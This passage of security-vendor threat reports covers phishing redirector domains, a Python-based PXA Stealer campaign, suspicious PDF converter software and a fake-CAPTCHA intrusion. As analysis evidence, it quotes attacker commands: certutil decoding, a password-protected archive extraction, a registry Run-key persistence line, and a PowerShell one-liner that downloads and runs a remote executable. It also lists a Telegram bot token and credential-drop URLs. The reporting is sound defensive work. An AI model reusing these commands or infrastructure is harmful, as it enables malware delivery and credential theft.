steve-april.com ucmrent.com.mx umuse4u3.coolhandle-customer.com uslz9gxjz3kqnyttscoi.104east.net uwmiyd5ck0ajlkaws2km.miderecho-milugar.com voko9yil1fmxl6svyehr.104east.net webdisk.globalgums.com.pk webmail.globalgums.com.pk wiltonbasketball.com www.a.abdurrezakkaya.com www.a.adabkhane.com www.a.clinicamelendres.com www.a.dilaila.com.br www.a.dit.asia www.a.dmackholdings.com www.a.dr-sobhikanawati.com www.a.elazigyapilab.com www.a.emamutfak.com www.a.endermolapark.com www.a.erniesinfinity.com www.a.firatyapimuhendislik.net www.a.gelaziz.com www.a.gradinitaarad.ro www.a.hamarcho.com www.a.holistichealingartswb.com www.a.jamaicamoravian.org www.a.jollystephenassociates.com www.a.kehribarinsaat.com www.a.kgmaquinas.com.br www.a.letsgohomebaby.shop www.a.luxurycenturion.com www.a.macpropertiesja.com www.a.mecanicasanjuan.com www.a.moclaritysapassessments.com www.a.mundobompao.com www.a.mundococinas.mx www.a.muratjeo.com www.a.nevzatulger.com www.a.newpress24.ma www.a.nickbdesigns.com www.a.nishidiving.com www.a.numantarim.com www.a.renovadamente.com.br www.a.rojinacenter.com www.a.roottopltd.com www.a.rutalagourmet.com www.a.shabakatalada.com www.a.stechltdbd.com www.a.tatarlarpano.com.tr www.a.thinkbrandlab.com www.a.transportwithawb.com www.aa.consultoriapericial.com www.aa.fahrenheitacfl.com www.aa.pinnsecuritysolutions.com www.aaa.concaribe.com www.actisolution.com www.ah.oqrealestate.com www.aomaot.com www.at.capeflair.com www.b.adabkhane.com www.b.dmackholdings.com www.b.fusiongas.co.za www.b.gelaziz.com www.b.redevetornorte.com.br www.b.unapologeticapologetics.com www.bd.roottopltd.com www.be.zerodegrees.co.za www.c.nishidiving.com www.c.renovadamente.com.br www.c.roottopltd.com www.cd.abdurrezakkaya.com www.cd.atcioglunakliye.com www.cd.endermolapark.com www.cd.favorigergitavan.com www.cd.ilgikursmerkezi.com www.cd.shabakatalada.com www.cd.sovepark.com www.d.clickours.com www.dd.abdurrezakkaya.com www.dd.lcnservicesllc.com www.file.britishhomeemporium.com www.file.cumbumbank.com www.files.courtneyahogarth.com www.i.aerainfra.com www.i.andrela.ro www.i.naz-it.com www.i.nextstoreus.com www.i.nikolalozanovmd.com www.i.parentingplans.org.za www.i.powayeyeworks.com www.i.robinsnestofindy.org www.i.securelinxpk.com www.k.freshvista.sa.com www.la.abdurrezakkaya.com www.la.baykarmobilya.com www.la.elazigyapilab.com www.la.lcnservicesllc.com www.la.newpress24.ma www.lgkkt.baykarmobilya.com www.m.adabkhane.com www.m.groomerapp.com www.m.northshoregoodneighbors.com www.m.vanguarddetroit30th.com www.mag.hamarcho.com www.maiamayor.com.br www.md.custombrandedmats.co.za www.me.iwebsolution.in www.melopego.com www.mn.baykarmobilya.com www.multanland.com www.mx.abdurrezakkaya.com www.mx.baykarmobilya.com www.mx.elazigyapilab.com www.mx.endermolapark.com www.mx.favorigergitavan.com www.my.britishhomeemporium.com www.narayanmishra.com www.nc.residencialnovalagoa.com.br www.northshoregoodneighbors.com www.oed.abdurrezakkaya.com www.ok.newpress24.ma www.p.elitereadersbd.com www.p.ohiotrustproperties.com www.pauloalmeidadesign.com.br www.potral.jec.sa.com www.r.gestaokireeff.com.br www.remittances.dahnimusic.com www.safe2clickview.tlmautomacao.com.br www.safepageclick.amorevents.ca www.sd.shabakatalada.com www.services.faroutcleanandhandy.com.au www.sk.shabakatalada.com www.wiltonbasketball.com www.y.mountgreenperu.com www.yd.qanvry.com yc.africatourismfair.com yd.qanvry.com yppdtd93ntiwnclrzgdz.104east.net zkmmehacp8uossbpfswr.miderecho-milugar.com

humanUrl validator urls:

cresiche.it.com deabeayea.today dioniotha.sa.com foochousto.sa.com gooweazou.sa.com moviofrea.sa.com sheveacrio.sa.com shoozawai.za.com tefrosu.za.com trofroyea.it.com

humanUrl payloads from redirectors:

These being added by the threat actor means that we can't be certain they are phishing domains when they don't respond, or are no longer active. However for transparency we split these into those that responded with the fake captchas, and those that appear to be decommissioned:

https://bsifinancial.heart-shaped.com.de/wy5Rc https://payoffs.heart-shaped.com.de/UegwH https://ccbsawholesaleconference.co.za/Quote/wmail/index.html https://k3yshdwonline.top?1H8NHRfx=aHR0cHM6Ly9pY2xvdWQuY29t https://enigmorafile.icu?QbqeB6izzg=aHR0cHM6Ly9pY2xvdWQuY29t https://login.fdghjh.candlesdelight.co.uk/FIOtzpzv https://qylinse.life/olprlWxw/ https://quenraes.za.com/zP66860bP/ https://truenorthskye.it.com/TSbLSNRulstq/ https://active.triopofoo.sa.com/rMpNAi@BYS/ https://api.rozubai.sa.com/9xZ!nNxW5wTgfXP/ https://aes.virojai.live/cB@6lnhdNbe4S2LNVi4Cx/ https://ashiveef.laigaiwea.co.za/hpnv@GqdAHkAiT/ https://async.kuthufa.sa.com/@LdRl4vjFgdNUS/ https://boustalou.zaitoni.com.de/2YU!n4BI/ https://burn.xeron.com.de/@K5Yi4zgkNLX8eErIL4YhTEIM/ https://case.stachiye.ru.com/x@bY1a3uCT6/ https://chmod.noudriotroo.co.im/TB9NLn@Gv/ https://cli.buthiocre.ru.com/4n9!z1gvLsw/ https://console.vynqex.sa.com/t4!ecU9Qs7Pg0RVUR8kno/ https://drift-6vup.bacrioma.sa.com/Hdht!C2zcgYBeH/ https://ecdsa.zesty.sa.com/KND8r3gylxIZggnpd@Ps/ https://endpoint.stochezea.sa.com/5KdDscog!v/ https://ddwgny.geshoosai.sa.com/EbAzGsL8fgvI@n5/ https://fashane.ru/6FsRWa8kcf80!RSh01/ https://fiblegou.joobihi.sa.com/mz1MWGR!PRXY7/ https://gpt.thoodeazo.sa.com/HG42rmF!VBu3vl/ https://firewall.rozubai.sa.com/C7rHMYx4M@/ https://jewel.vynqex.sa.com/6DGqyxpqqLlvNT!u0Sc8x65/ https://jwt.rozubai.sa.com/IFufKrmgWfmIElWY@k7R/ https://js.xeron.com.de/sW!Kti9IYTxuAc7/ https://kibana.voojera.sa.com/qPyCIo3heZk!/ https://label.stachiye.ru.com/Us2!qBOVphYu/ https://lan.joobihi.sa.com/42e5sIhC2ICp!Z5Wm/ https://limit.blinkly.sa.com/Tl42WBncu6jQulxHRgQi@HDA/ https://nikahoos.zozaikeayai.sa.com/j2yFNS@jtQYMI3/ https://oakland-zzv6gkarma.gadouga.sa.com/ogTjL4KiZ@5vCwv1Ii/ https://port.kuthufa.sa.com/Q5neb0B!L/ https://repeat.voojera.sa.com/bBkYvd@OddpmWNPP0zm/ https://repeat.voojera.sa.com/TClI7nnf!/ https://rollback.zesty.sa.com/CftJF8IjD65ijzE8I@fzVXwE/ https://row.voojera.sa.com/dHIQQk!FJ/ https://shimmer.virojai.live/vOp0kCSD29!X66A/ https://soolopo.za.com/evmfAGNPZqtpnEJ2w!e/ https://spirit-yzrb3kelp.vynqex.sa.com/EzcZDP6fJ@5f0U8I/ https://throw.buthiocre.ru.com/qPLsMAC3kOoCyoDA@h/ https://vpn.buthiocre.ru.com/7Cii17@u367/ https://flick.miliotou.ru/M!wgGdidj/ https://journeyer-yir0paragon.crafifroo.ru/aw0IglxpfyC!rr2T6/ https://lphfoxdb.drivxy.sa.com/XoiWiej!E0kc3je/ https://pingtest.zotoze.ru/qlhrWvYISWS!/ https://oceancpl.com/r/?c3Y9bzM2NV8xX3NwJm09dVcmdWlkPVVTRVIwMjA0MjAyNVUyODA0MDIzNiZ0PW03N0123N http://cdn.jsinit.directfwd.com/sk-jspark_init.php https://api.rozubai.sa.com/9xZ!nNxW5wTgfXP/ https://async.kuthufa.sa.com/uiui0eUmHP6Mk8!a/ https://dashboard-kqclzwem1.zafc0.com/ https://namdarlc.com/?akeansdh

These are the humanUrl values that we believe are decommissioned or are now broken:

http://wow.mahfilgame.in.net/ https://56354646465.fortitude.com.de/sTeVX https://aa-cued.info/?ocajcmzm https://alidthservices.de# https://authicloudaccess.icu?lzwmDOfTPw4=aHR0cHM6Ly9pY2xvdWQuY29t https://businesscoffeemeetings.com/ https://clublasolucion24.com/ ttps://console.vynqex.sa.com/t4!ecU9Qs7Pg0RVUR8kno/ https://efilesafe2click.faroutcleanandhandy.com.au/noteone https://eenq.danfysik.de/ https://granexindustries.top/?fujaapvz https://jorink.citigroup.cyou https://kaihscapeashelltour.efndanbzvnbshmfuqn.xquvt.com/f/me1jN_X4bfXz0CYQjNmp https://l1vjuaycy64u6.boxlabelfax.xyz/07a6076d3482424299b9c3ff7639a4e5/?STkdLC=oPd5NU&thhs= https://login.bmlearning.shop/VCspMZBQ https://login.hrft.fortisbloomivfgurgaon.com/dWgiIXmk https://login.jbl.wisecard.com.tr/jDisyEsI https://login.ubdf.sororitu.com/vJMmBpBz https://m8.hfucth5.sa.com/invitation1.html https://maverickraylaws.com/sec/qwdjb1GRpMVTfOwvJEFVsRgB8ytggy3FvKeX https://movirabu.com.de/RYqusWC0xllOrBa/ https://nerol.top/download https://nexozaes.cc/TVNu8a7h/ https://pentavere.cyou https://officenadocusgindoc.swrconsulting.company https://port.shoothaithio.in.net/BkTk3dcD!I4xEhUlL2DIL/ https://pulseoilcorp.cyou https://safepageclick.amorevents.ca/quantum.php https://securenadocufile.ceimatrix.company https://serve3564as.anticipation.com.de/NVHuM https://skyentae.sa.com/OScpRmqQWPNunc/ https://skyloomi.xyz/bllbojmii/ https://smartveneto.it.com/TZT4RLqar3N/ https://spoogespot.com/ https://vchas.company https://voxiura.online/1TbLRw7v2q/

Addresses credentials were shipped to:

https://1954751903.cyou/google.php https://ccbsawholesaleconference.co.za/login.php https://fczptqkbdjbiehaah.k3yshdwonline.top https://ckdatabasews.k3yshdwonline.top https://cvws.icloud-content.www.k3yshdwonline.top https://ozvsfcrcbjdahccdf.enigmorafile.icu https://ozvsfcrbdjbiehaah.enigmorafile.icu https://ckdatabasews.enigmorafile.icu

Overview

In close partnership, Beazley Security and SentinelLabs have uncovered a large-scale, ongoing infostealer campaign built around the Python-based PXA Stealer. Initially surfacing in late 2024, this threat has since matured into a highly evasive, multi-stage operation driven by Vietnamese-speaking actors with apparent ties to an organized cybercriminal Telegram-based marketplace that sells stolen victim data.

Throughout 2025, these actors have continuously refined their delivery mechanisms and evasion strategies. Most notably, they’ve adopted novel sideloading techniques involving legitimate signed software (such as Haihaisoft PDF Reader and Microsoft Word 2013), concealed malicious DLLs, and embedded archives disguised as common file types. These campaigns use elaborate staging layers that obscure their purpose and delay detection by endpoint tools and human analysts alike.

The final payload, PXA Stealer, exfiltrates a broad spectrum of high-value data–which includes passwords, browser autofill data, cryptocurrency wallet and FinTech app data, and more– to Telegram channels via automated bot networks. Our telemetry and analysis uncovered over 4,000 unique victims across more than 60 countries, suggesting a widespread and financially motivated operation that feeds into criminal platforms such as Sherlock. This data is then monetized and sold to downstream cybercriminals, enabling actors who engage in cryptocurrency theft or buy access to infiltrate organizations for other purposes.

This campaign exemplifies a growing trend in which legitimate infrastructure (e.g., Telegram, Cloudflare Workers, Dropbox) is weaponized at scale to both execute and monetize information theft, while simultaneously reducing the cost and technical overhead for attackers. As stealer campaigns become increasingly automated and supply-chain integrated, defenders must adjust to an adversary landscape defined not just by malware, but by infrastructure, automation, and real-time monetization.

Beazley Security would like to extend sincere thanks to our partners at SentinelOne for their instrumental collaboration and exceptional reverse engineering support during this investigation.

Background and Haihaisoft Sideloading

This cluster of PXA Stealer activity has been ongoing and active since late 2024, with some BotIDs being created as early as October, 2024. The general delivery mechanisms and TTPs have not changed. However the actors behind this cluster have continually pivoted to new sideloading mechanisms, along with updated Telegram C2 infrastructure.

During a wave of attacks occurring in April 2025, users were phished or otherwise lured into downloading a compressed archive containing a signed copy of the Haihaisoft PDF Reader freeware application along with the malicious DLL to be sideloaded. This component of the attack is responsible for establishing persistence on the target host via the Windows Registry, and retrieving additional malicious components, including Windows executable payloads hosted remotely on Dropbox. Various infostealers were delivered in this initial campaign, including LummaC2 and Rhadamanthys Stealer. 

It was during the first wave that we also observed a change in TTPs: the threat actors shifted to updated Python-based payloads instead of Windows executables.

Attacks leveraging the updated Python-based payloads are initiated in the same manner: delivery of a large archive containing the signed copy of Haihaisoft PDF Reader, alongside the malicious DLL to be loaded. 

Upon execution, the malicious DLL creates a .CMD script Evidence.cmd in the current directory, which orchestrates all subsequent steps in the attack chain. The .CMD script utilizes certutil to extract an encrypted RAR archive embedded inside a malformed PDF.

certutil -decode Documents.pdf LX8bzeZTzF5XSONpDC.rar

This command leads the Edge browser to open the PDF file, though this results in an error message as the file is not a valid PDF. Subsequently, the packaged WinRAR utility–masquerading as images.png–extracts an embedded RAR archive using decoded command lines. This process took several minutes and caused sandbox analysis to time out in several cases, which led to false negative results.

This extracts several Python dependencies, including a legitimate Python 3.10 interpreter renamed svchost.exe and a malicious Python script named Photos, which are then executed. This step sets a Registry Run key to ensure the payload will run each time the computer starts.

reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Update Service" /t REGSZ _/d "cmd.exe /c start \"\" /min

\"C:\Users\Public\LX8bzeZTzF5XSONpDC\svchost.exe\"C:\Users\Public\LX8bzeZTzF5XSONpDC\Photos" /f

Evolved Infection Chain

In July 2025, Beazley Security MDR identified new activity that closely mirrored the infection chain and TTPs observed in the previous campaigns, but with several notable evolutions reflecting heightened operational maturity and ongoing innovation by the threat actors.

The large archive attached to the phishing lure contained:

• A legitimate, signed Microsoft Word 2013 executable

• A malicious DLL, msvcr100.dll, that is sideloaded by the Microsoft Word 2013 executable

• Additional files and later-stage payloads within a supporting directory named "_".

While similar to the April campaign, the July wave introduces more sophisticated file naming to increase evasion and leverages non-malicious decoy documents opened to ensure the user remains unsuspecting.

The Microsoft Word 2013 binary is renamed to appear to the user as a Word document:

Figure 1 - Screenshot of renamed Word 2013 executable to lure the user

The other files extracted from the archive are hidden from the user in Windows Explorer but shown below:

Figure 2 - Extracted contents of the archive, including hidden files

When the victim opens the Word executable, Windows loads the malicious msvcr100.dll since the OS searches for the filename in the local directory before system directories. The sideloaded DLL then launches a hidden instance of Command Prompt and begins a multi-stage chain of activity:

Figure 3 - Overview of the infection chain

First, Word launches a benign decoy document named Tax-Invoice-EV.docx, which displays a fake copyright infringement notice to the victim. We believe this document doubles as an anti-analysis feature by introducing a non-malicious file into the attack chain, which potentially wastes security analysts’ time. The document lacks macros or other scriptable objects.

Figure 4 - Screenshot of the non-malicious decoy document

Next, like the previous activity, certutil is used to decode a file from the “-“ folder into a new encrypted zip archive that is deceptively named with a PDF file extension, Document.pdf for example:

certutil -decode Document.pdf Invoice.pdf

Then, a legitimate WinRar executable also hosted in the “-“ folder renamed images.png is used to unpack the archive:

images.png x -ibck -y -poX3ff7b6Bfi76keXy3xmSWnX0uqsFYur Invoice.pdf C:\\Users\\Public

The second archive contains a portable Windows Python interpreter, several Python libraries, and a malicious Python script. The Python interpreter is renamed to svchost.exe and launches a heavily obfuscated Python script again disguised as images.png, followed by the $BOT_ID argument.

start C:\\Users\\Public\\Windows\\svchost.exe C:\\Users\\Public\\Windows\\Lib\\images.png $BOT_ID

Payload Analysis

The final payload is an updated version of PXA Stealer. PXA Stealer is a Python-based infostealer which first emerged in 2024. PXA is primarily seen in Vietnamese-speaking threat actor circles. The malware targets sensitive information including credentials, financial data, browser data and cookies, and cryptocurrency wallet details. As detailed below, a wide variety of applications and data types within these categories are supported by PXA Stealer. PXA Stealer is capable of exfiltrating data via Telegram, as has been observed in prior campaigns.

Similar to prior campaigns, the newly observed PXA Stealer payloads are capable of identifying, packaging, and exfiltrating data from an extensive list of applications and interfaces on infected systems. Exfiltration continues to be handled via Telegram, with specific Telegram BOT IDs and Tokens identified as tied to these more recent campaigns.

The new variant of PXA Stealer will enumerate Chromium/Gecko browsers, decrypt any saved passwords, cookies, stored personally identifiable information (PII), autofill data, and any authentication tokens. The infostealer will also attempt to inject a DLL into running instances of browsers such as Chrome, targeting Chrome’s App-Bound Encryption Key to defeat the internal encryption schemes within Chrome. The DLL injected during the July campaign targets MSEdge, Chrome, Whale, and CocCoc browsers.

Figure 5 - Browsers targeted by the injected DLL from the July campaign

The infostealer also grabs files from dozens of desktop cryptocurrency wallets, VPN clients, Cloud-CLI utilities, connected fileshares, as well as applications such as Discord, and much more.

The collected data is packaged into ZIP archives then exfiltrated to a specific Telegram bot via Cloudflare Worker relays. There are also conditions where the malware will reach out to external sources for additional Python payloads, such as 0x0[.]st, a Pastebin-like temporary file hosting resource. Other analyzed PXA Stealer payloads support stealing data from the following browsers:

The malware targets the following list of cryptocurrency wallet related browser extensions:

User databases and configuration files for the following applications are targeted, many of which house sensitive data or cryptocurrency assets:

The infostealer is also capable of targeting website-specific data. The malware includes the following list of sites, for which the stealer will attempt to discover and collect credentials, cookies and session tokens. The targeted sites are primarily financial, such as FinTech services or cryptocurrency exchanges:

The specific Telegram Bot Token, and associated Chat ID, identified in the samples from July are:

Telegram Bot Token: 7414494371:AAHsrQDkPrEVyz9z0RoiRS5fJKI-ihKJpzQ

Telegram Chat ID: -1002698513801

Data is exfiltrated to Telegram via connection via Cloudflare workers. The specific Cloudflare DNS address is:

Lp2tpju9yrz2fklj.lone-none-1807.workers[.]dev

We reported this abuse of Cloudflare Workers to Cloudflare, and we thank their team for taking immediate action to disrupt this malicious infrastructure.

Each of the final PXA Stealer payloads corresponds to a Telegram Bot Token and ChatID combination. Each variant we analyzed is associated with the same Telegram Bot Token (7414494371:AAHsrQDkPrEVyz9z0RoiRS5fJKI-ihKJpzQ) although the ChatIDs vary. Additionally, there can be multiple ChatIDs, which correspond to a Telegram channel, tied to each payload. Each bot is tied to as many as 3 Telegram channels. One channel, typically denoted with the New Logs string, receives exfiltrated data contained in zip archives uploaded from victims’ machines, along with log/ledger style data for each victims’ exfiltrated data set. Specific entries also indicate the victim’s geographic location, IP address and other contextual data. 

PXA Stealer log entries show counts for the types of data within:

CK:2868|PW:482|AF:606|CC:0|FB:1|Sites:4|Wallets:0|Apps:1

The stealer data types include:

• CK=Cookies

• PW = Passwords

• AF = AutoFill data

• CC=Credit Card data

• FB= Facebook Cookies

• TK= Authentication Tokens

• Sites = Domains / Site specific data

• Wallets = Crypto Wallet data

• Apps = Application specific data (ex: private messenger chat history and keys)

Figure 6 - Exfiltrated Victim Data from MRB_NEW_VER_BOT via PXA Stealer

Each bot will also have an associated ‘Reset’ and ‘Notifications’ channel as well. The ‘Notification’ channels appear to allow operators to automate their communications process when new victim logs are uploaded or otherwise obtained. The ‘Reset’ channels appear to be used in similar manner to the ‘New Logs’ channels, storing newly exfiltrated victim data.

While all analyzed variants share the same Bot Token ID, we have observed multiple ChatIDs across the New Log/Reset/Notification combinations across this stealer’s ecosystem. The observed Bots-to-ID sets include:

Telegram BotID 7414494371:AAHsrQDkPrEVyz9z0RoiRS5fJKI-ihKJpzQ

• James_New_Ver_bot (yd2sV / James)

  • James - New Logs

  • James - New Logs Notification

  • James - Reset Logs

• DA_NEW_VER_BOT (qDTxA / DUC ANH)

  • New Logs - \u0110\u1ee9c Anh

  • Reset Logs - \u0110\u1ee9c Anh

• MRB_NEW_VER_BOT (Plk1y / MRB_NEW)

  • New Logs

  • Reset Logs

  • Notify 

• JND_NEW_VER_BOT (5DJ0P / JND)

  • JND - New Logs

  • JND - Reset Logs

• AND_2_NEW_VER_BOT (oaCzj / ADN 2 / Adonis)

  • Adonis - New Logs

  • Adonis - Reset Logs

  • New Log Notification

The encompassing Telegram ID is connected to a Bot that has the following properties:

Username: “Logs_Data_bot”

Firstname: \u0412\u0418\u0414\u0415\u041e \u0421 \u041b\u0410\u0419\u041a\u0410

Lastname: (nul)

The firstname field on this bot decodes to a string of Cyrillic text “ВИДЕО С ЛАЙКА”. This roughly translates to ‘Video for/with/of Laika,” though the significance of this string is unclear. 

Telegram Abuse and Attribution

The later-stage dropper component is responsible for parsing target Telegram URLs based on a string gathered from a prescribed Telegram ChatID. This string is then combined with the base URL for either paste[.]rs or 0x0[.]st to retrieve the next batch of obfuscated Python code.

Multiple identifiers were observed across the multitude of analyzed samples. The most prominent we observed are:

• ADN_2_NEW_VER_BOT

• DA_NEW_VER_BOT

• JAMES_NEW_VER_BOT

• JND_NEW_VER_BOT

• MR_P_NEW_VER_BOT

• MR_Q_NEW_VER_BOT

• KBL_NEW_VER_BOT

• MRB_NEW_VER_BOT

These identifiers are visible within the commands launched by the side-loaded DLL described above.

Each of these _NEW_VER_BOT identifiers corresponds to a Telegram User ID. The profile names resemble a bot, but are actually user accounts:

Figure 7 - Bio and Info fields from Telegram profiles masquerading as bots

When retrieving files from paste[.]rs, the corresponding strings are concatenated with the hxxps://paste[.]rs or hxxps://0x0[.]st prefix, which constructs the full download URL hosting another payload.

Figure 8 - Obfuscated Python code hosted on Paste[.]rs

Once downloaded, the obfuscated Python code is decoded and executed, delivering the Infostealer component of the attack.

The Telegram ChatID associated with the infostealer component of this attack is “@Lonenone.” The “Lonenone” theme is also present in the Cloudflare Worker hostname lp2tpju9yrz2fklj[.]lone-none-1807[.]workers[.]dev. The profile display name contains an emoji of the Vietnam flag.

Figure 9 - Lone None Telegram ChatID.

Figure 10 - Reference to LoneNone TG channel in decoded (July) infostealer

This Telegram ChatID/Account is associated with the same threat actor using PXA Stealer as previously described by Cisco Talos. It is worth noting that there are a number of other Vietnamese-language artifacts present in these stages of the malware. For example, the aforementioned Telegram BOT IDs show 'Duc Anh' ... aka "đức anh" as display names, which loosely translates to “brother”.

PXA Stealer uses the BotIDs (stored as TOKEN_BOT) to establish the link between the main bot and the various ChatID (stored as CHAT_ID). The ChatIDs are Telegram channels with various properties, but they primarily serve to host exfiltrated data and provide updates and notifications to the operators.

PXA Stealer transmits data via HTTP POST requests to the Telegram API. Everything is handled via HTTPS, thus there is no visible Telegram process or self-contained client producing the traffic. This is one of PXA stealer’s methods of hiding exfiltration traffic from potential analysis or detection.

Prior to transferring the exfiltrated data, the stealer packages stage data into an archive using the following naming convention where CC=Country Code:

[CC_IPADDRESS]_HOSTNAME.zip (ex: [RU_123.45.67[.]89]DESKTOP-VICTIM.zip)

The main BotID (7414494371:AAHsrQDkPrEVyz9z0RoiRS5fJKI-ihKJpzQ) includes a reference to  probiv[.]gg in the Bot metadata:

":[{"command":"start","description":"probiv.gg \u0437\u0430\u043f\u043e\u043c\u043d\u0438 \ud83d\udd25"}

Probiv[.]gg contains a redirect to the Sherlock Telegram Bot Service, which provides a search interface for data culled from infostealers.

Figure 11 - Telegram redirect on probiv[.]gg

The redirect leads to the Telegram landing page for SherLock1u_BOT, a provider of stolen data, and the automated services to search for specific data types or sets.

Figure 12 - SherLock1u_BOT

We also tracked activity from the bots since April indicating targeting of victims in South Korea. The following image shows details of exfiltrated data from one Korea-based victim by the MRB_NEW_VER_BOT ID.

Figure 13 - South Korea victim data uploaded to Telegram via PXA Stealer

Victimology

Our analysis uncovered details around victimology for several active BotIDs associated with the ongoing PXA Stealer campaign. Some of these Bots have been active since at least October 2024, and they continue to receive data from infected hosts to date.

Figure 14 - Adonis (ADN_2_NEW_BOT) Victim records

The PXA Stealer logs contain victim IP addresses that indicate there are potentially more than 4,000 unique victims from 62 countries. The top targeted countries in the analyzed set are:

1. Republic of Korea (KR)

2. United States (US)

3. Netherlands (NL) 

4. Hungary (HU)

5. Austria (AT)

Some appear to favor specific locations, for example Adonis (ADN_2_NEW_VER_BOT) most heavily targets hosts in Israel and Taiwan, followed by KR and US.

Conclusion

The evolving tradecraft in these recent campaigns demonstrates that these adversaries have meticulously refined their deployment chains, making them increasingly more challenging to detect and analyze. The July 2025 attack chain in particular illustrates a highly tailored approach engineered to bypass traditional antivirus solutions, delay execution in sandboxes, and mislead SOC analysts who review process trees or EDR data by using byzantine delivery and installation methods.

This campaign’s medley of legitimate applications and non-malicious decoy documents is designed to mislead users and SOC analysts alike. The actors reinforce this facade by naming a user-space folder to mimic the system directory Windows and disguising a Python interpreter as svchost.exe to blend into typical system activity. In parallel, they use files with familiar extensions, such as PNG and PDF, to conceal embedded WinRAR executables and ZIP archives, layering their evasion techniques to mislead users, investigators, and traditional detection technologies.

PXA Stealer, and the threat actors behind it, continue to feed the greater infostealer ecosystem. It is also important to note that PXA, along with similar stealers like Redline, Lumma, and Vidar, each produce data that can be neatly ingested into data monetization ecosystems. The sales-oriented services like Sherlock, such as Daisy Cloud and Moon Cloud, take data harvested by these stealers directly from the bots. The more mature services then normalize the sets of exfilterated data to make it ‘sales-ready’. The idea behind leveraging the legitimate Telegram infrastructure is driven by the desire to automate exfiltration and streamline the sales process, which enables actors to deliver data more efficiently to downstream criminals. The developer-friendly nature of Telegram–combined with the company’s laissez-faire attitude towards cybercrime–underscores the crucial role that Telegram plays in the holistic cybercriminal ecosystem.

Indicators of Compromise

SHA-1 Hashes

Domains

URLs

Update - PDFMaker Reskin

About a month ago BSL reported on “PDFast” software that created a flurry of activity when the software unexpectedly kicked off suspicious update routines across several victim environments. While continuing to research this threat, BSL discovered a reskin of the PDFast malware called “PDFMaker”.

Figure 1 – PDFMaker Download Lure

The sister software is currently made available at webfreepdf[.]com and keeps things in the PDFamily with a similar layout, purporting to process data with its PDF conversion capability.

Figure 2 – PDFast to PDFMaker reskin

BSL looked under the hood and without surprise discovered the same structure and ‘features’ were present. Another updater, tasked to beacon home every hour could be found provisioned on installation of the PDFMaker software. Instead of the previous ‘upd.exe’ PE responsible for triggering updates within PDFast, the authors rebranded a PE named ‘PDRefresh.exe”.

Figure 3 – PDFRefresh Scheduled Task

Observed behavior is consistent with PDFast. When the PDRefresh PE is run, the file ‘beacons’ to an endpoint (*.pdf-maker-data[.]com/*) and receives encrypted communications back. Labs believes this is a C2 mechanism similarly constructed within PDFast infrastructure, which was eventually leveraged to trigger a prior malicious update campaign.

The sampled installer for PDFMaker appears to have been packaged Wednesday, May 14^th and is signed by “KRZADROPSHIP PRIVATE LIMITED” (mrauthan1992@gmail[.]com) while domain registration information would reveal that the sister product was concieved in late 2024.

Figure 4 – PDFMaker Domain Registration and Signature

On the surface some may classify this as potentially unwanted software. BSL believes history may repeat itself, as the software could again be leveraged as a lure to drop malware in the future.

Indicators have been updated to reflect this variant in the IoCs section of this report and BSL will continue to monitor the situation.

PDFast PDF Conversion Tool

PDFast is a tool advertised as a PDF conversion tool. The website claims that PDFast can convert several file formats such as Microsoft Word and Excel into PDF formats. The tool also states it can convert PDF files into other editable formats such as Word and PowerPoint. PDFast can be freely downloaded from the website https[:]//pdf-fast[.]com/, as illustrated below.

Figure 1: PDFast website

Figure 2: PDFast features as advertised on website

The PDFast installer is packaged as an executable that unpacks a standard MSI file. From the sample Beazley Security Labs (BSL) downloaded, the PDFast installer appears to have been built very recently, around April 8^th, 2025, and is signed by “AL STARE LLC,” with an email address of fm760984@gmail[.]com. The domain hosting the PDFast installer appears to have been created last year, in May of 2024. It cannot be discounted that the domain has been purchased with forethought to lure users to download this software.

Figure 3: PDFast Installer Information and domain registration

Suspect Update Routine

On investigation, Beazley Security MXDR discovered suspicious update activity from the software, specifically the updater process invoking a download of base64-encoded binary. Once downloaded, this binary is decoded, written to disk as pdf.exe and executed.

Figure 4: PDFast Suspicious Updater Execution

In testing, the pdf.exe binary would not execute and unpack its files unless it was given specific parameters, including a –safetorun switch followed by –ch and -x.

Similarly, the unpacked PE file system26506a16168b4007c is then invoked with the similar -ch token:

Once executed, the binary unpacks multiple files and subsequently executes recon checks on the affected system, including discovery of antivirus, firewall, and virtualization software:

It appears that the initial execution of the updater and unpackaged data is not triggered immediately on our test systems. However, we have yet to confirm the mechanism of this behavior.

BSL is continuing to reverse engineer the suspicious payload and understand intent.

Conclusion

While tricking users to download free commodity software is not a novel technique, cybercriminals will continue to use methods that work. By appealing to end users as a free tool to conveniently convert everyday documents, the method is a simple but effective way to get a foothold into both home and enterprise networks.

Indicators of Compromise (IoCs)

The following suspicious files and URLs were observed by Beazley Security MXDR teams:

Initial Access: Fake CAPTCHA Scam

The previous article already discusses a number of the TTPs observed during the breach. In this article, we focus more on the initial access vector and the malware implant used to perform the most invasive actions. A condensed version of the kill chain focusing on these elements is presented below:

Kill Chain

Figure 1: Threat Campaign Kill Chain

Initial Access – Captcha Spam

Our MXDR team did an excellent job laying out the timeline and process tree of events. They traced everything back to a PowerShell script, which downloaded a file named active.exe and saved it as asdin2oe.exe:

C:\windows\system32\WindowsPowerShell\v1.0\PowerShell.exe -WindowStyle Hidden -Command "$b=[Text.Encoding]::Utf8.GetString([Convert]::FromBase64String('aHR0cDovL2JlcnNhbmRhcnBpamFyLmNvbS9hY3RpdmUuZXhl')); Invoke-WebRequest -Uri $b -OutFile \"$env:TMP\asdin2oe.exe\"; & \"$env:TMP\asdin2oe.exe\""

In the process tree, we saw a parent process of “explorer.exe”, not a traditionally suspicious parent process. When we see malicious PowerShell processes, defenders normally expect them to come from typical, malicious sources such as:

• Malicious executables

• Exploited and/or compromised processes

• Compromised logins

The parent process for this script was simply explorer.exe, indicating that user themselves ran it. At this point, a member of our team remembered a previously reported spam campaign involving a captcha lure that tried to convince victims into copying and pasting PowerShell scripts directly into the Windows system Run window. A good article of the attack was published by Cybernews.

We reached out to the client and confirmed that the target user had indeed seen and followed through on a spam captcha message, similar to one from the Cybernews article. This solved the initial access mystery. Additionally, for months after this particular incident, many more examples of this captcha method were observed and reported by our DFIR team and more generally across the industry, prompting us to release an advisory.

Stage Two Malware Payload: Supper Implant

The other loose end to tie up was that we wanted a more complete understanding of the malware that attempted the bulk of the threat actors’ pivoting and credential theft activities.

Once the threat actors had initial access, they downloaded a whole suite of executables and files to the computer. We saw at least four similarly named folders containing various software libraries and media files. We observed one of the processes installing CrossTec, a third-party remote administration tool. Interestingly, most of these files and programs were not used during the breach. The one exception was the Dormouse installer detailed in our previous blog post, including the second-stage payload it downloaded and installed, which we will describe here.

